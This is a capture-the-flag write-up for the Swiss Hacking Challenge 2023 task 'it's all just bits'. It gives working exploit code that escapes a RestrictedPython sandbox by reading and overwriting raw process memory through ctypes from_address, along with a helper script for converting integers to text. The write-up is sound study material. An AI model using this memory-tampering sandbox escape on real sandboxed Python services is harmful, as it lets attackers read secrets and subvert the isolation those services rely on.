Swiss Hacking Challenge 2023 - it's all just bits

Posted on Apr 30, 2023

Information

Challenge category: pwn

Challenge Description

Limiting what you can do with Python is not an easy thing. Luckily there is RestrictedPython that does the work for us!

Files

We are given an its_all_just_bits.zip file containing the source code of the application.

Analysis

The stuff we can input is fairly limited.

  • We can’t import any modules
  • Most modern python things don’t work directly (+=, object.method(), object.attribute = "a")
  • We’re limited to a single line at once -> no nested while and if.
  • We have raw memory access using ctypes.c_ulong.from_address
  • Printing doesn’t work as neither stdin or stderr are passed after the exec.

We can however overwrite/change memory using the following methods:

Get the address of a variable:

a = "abcd"
address = id(a)

Get the raw data at an address:

raw_data = getattr(from_address(address),"value")

Overwrite the raw value at an address:

setattr(from_address(address),"value", raw_data)

In the end of the source code there is the following check:

if FLAG_CONSTANT == 42 and hash(FLAG_CONSTANT) == 1337:
    print("Congrats, here's your flag: shc2023{https://bit.ly/3CSyf5P}")
else:
    print("No flag for you!")

We have the following possibilities:

  • Overwrite the integers so that the if condition is satisfied
  • Overwrite the hash function so that it returns 42
  • Overwrite the string in the print statement to print the flag instead of an error

Somehow I thought doing the last would be the easiest so I did that.

Exploitation

My exploit code looks the following:

hint_int = 2334942050012655438; flag_int = 8877494473062574195; random_string = "No flag for you!"; target = id(random_string); offset = -100000; target_address = target + offset

while getattr(from_address(target_address),"value") != flag_int: target_address = target_address + 1
flag_part = getattr(from_address(target_address+8),"value")
flag_part2 = getattr(from_address(target_address+16),"value")

offset = -1000; target_address = target + offset
while getattr(from_address(target_address),"value") != hint_int: target_address = target_address + 1

setattr(from_address(target_address),"value", flag_part)
setattr(from_address(target_address+8),"value", flag_part2)

Let’s break that down into human readable code:

hint_int = 2334942050012655438 # "No flag" in ulong notation
flag_int = 8877494473062574195 # "shc2023" in ulong notation
random_string = "No flag for you!" # a very random string as base address
target = id(random_string) # the id of the address

offset = -100000 # seems to have worked so far
target_address = target + offset

# Search through the memory until we find the flag
while from_address(target_address).value != flag_int: 
  target_address = target_address + 1

# Get the first two ulong parts of the flag
flag_part = from_address(target_address+8).value
flag_part2 = from_address(target_address+16).value

offset = -1000
target_address = target + offset
# Search for the start of the error msg
while from_address(target_address).value != hint_int: 
  target_address = target_address + 1

# Overwrite the error message
from_address(target_address).value =flag_part
from_address(target_address+8).value = flag_part2

I also wrote a nice little helper script to convert the ulong integers to text and vice-versa, see the attachments.

Flag

After entering line by line and exiting, we should get the first 2 (out of 3) parts of the flag. We can then just add 8 to the address of flag_part2 and run it again so we also get the last part.

The flag is:

shc2023{1h34rdy0ul1k3py7h0n?}

Conclusion

Probably just overwriting 42 would’ve been easier. Who cares, I had a fun time finding workarounds for RestrictedPython.

References

  1. https://docs.python.org/3/library/ctypes.html
  2. https://restrictedpython.readthedocs.io/en/latest/

Attachments

def int_to_array(i):
    a = hex(i)[2:]
    out = []
    for i in range(0,len(a),2):
        out.append(chr(int(a[i:i+2],16)))
    return out

def array_to_int(a):
    if len(a) != 8:
        raise Exception("Array must be 8 bytes long")
    h = ''
    for i in a:
        h += hex(ord(i))[2:]
    return int(h,16)

# sanity check
assert array_to_int(int_to_array(2334942050012655438)) == 2334942050012655438

def interactive_edit():
    integer = int(input("Enter an integer: ").strip())
    array = int_to_array(integer)
    print(f"Content: {''.join(reversed(array))}")
    for a in range(len(array)):
        print(f"Enter a new value for {array[a]}")
        array[a] = input("New value: ").strip()
    print(f"New integer: {array_to_int(array)}")

def generate_from_string():
    string = input("Enter a string: ").strip()
    if len(string) != 8:
        raise Exception("String must be 8 characters long")
    integer = array_to_int(list(reversed(list(string))))
    print(f"Integer: {integer}")

def ulong_to_string():
    integer = int(input("Enter an integer: ").strip())
    array = int_to_array(integer)
    print(f"String: {''.join(reversed(array))}")

def menu():
    print("=== SUPER FANCY POGCHAMP 1337 ULONG EDITOR ===")
    print("1. Interactive edit")
    print("2. Generate from string")
    print("3. ulong to string")
    print("4. Exit")
    choice = input("Enter your choice: ").strip()
    if choice == '1':
        interactive_edit()
    elif choice == '2':
        generate_from_string()
    elif choice == '3':
        ulong_to_string()
    elif choice == '4':
        exit()
    else:
        print("Invalid choice")

if __name__ == '__main__':
    while True:
        menu()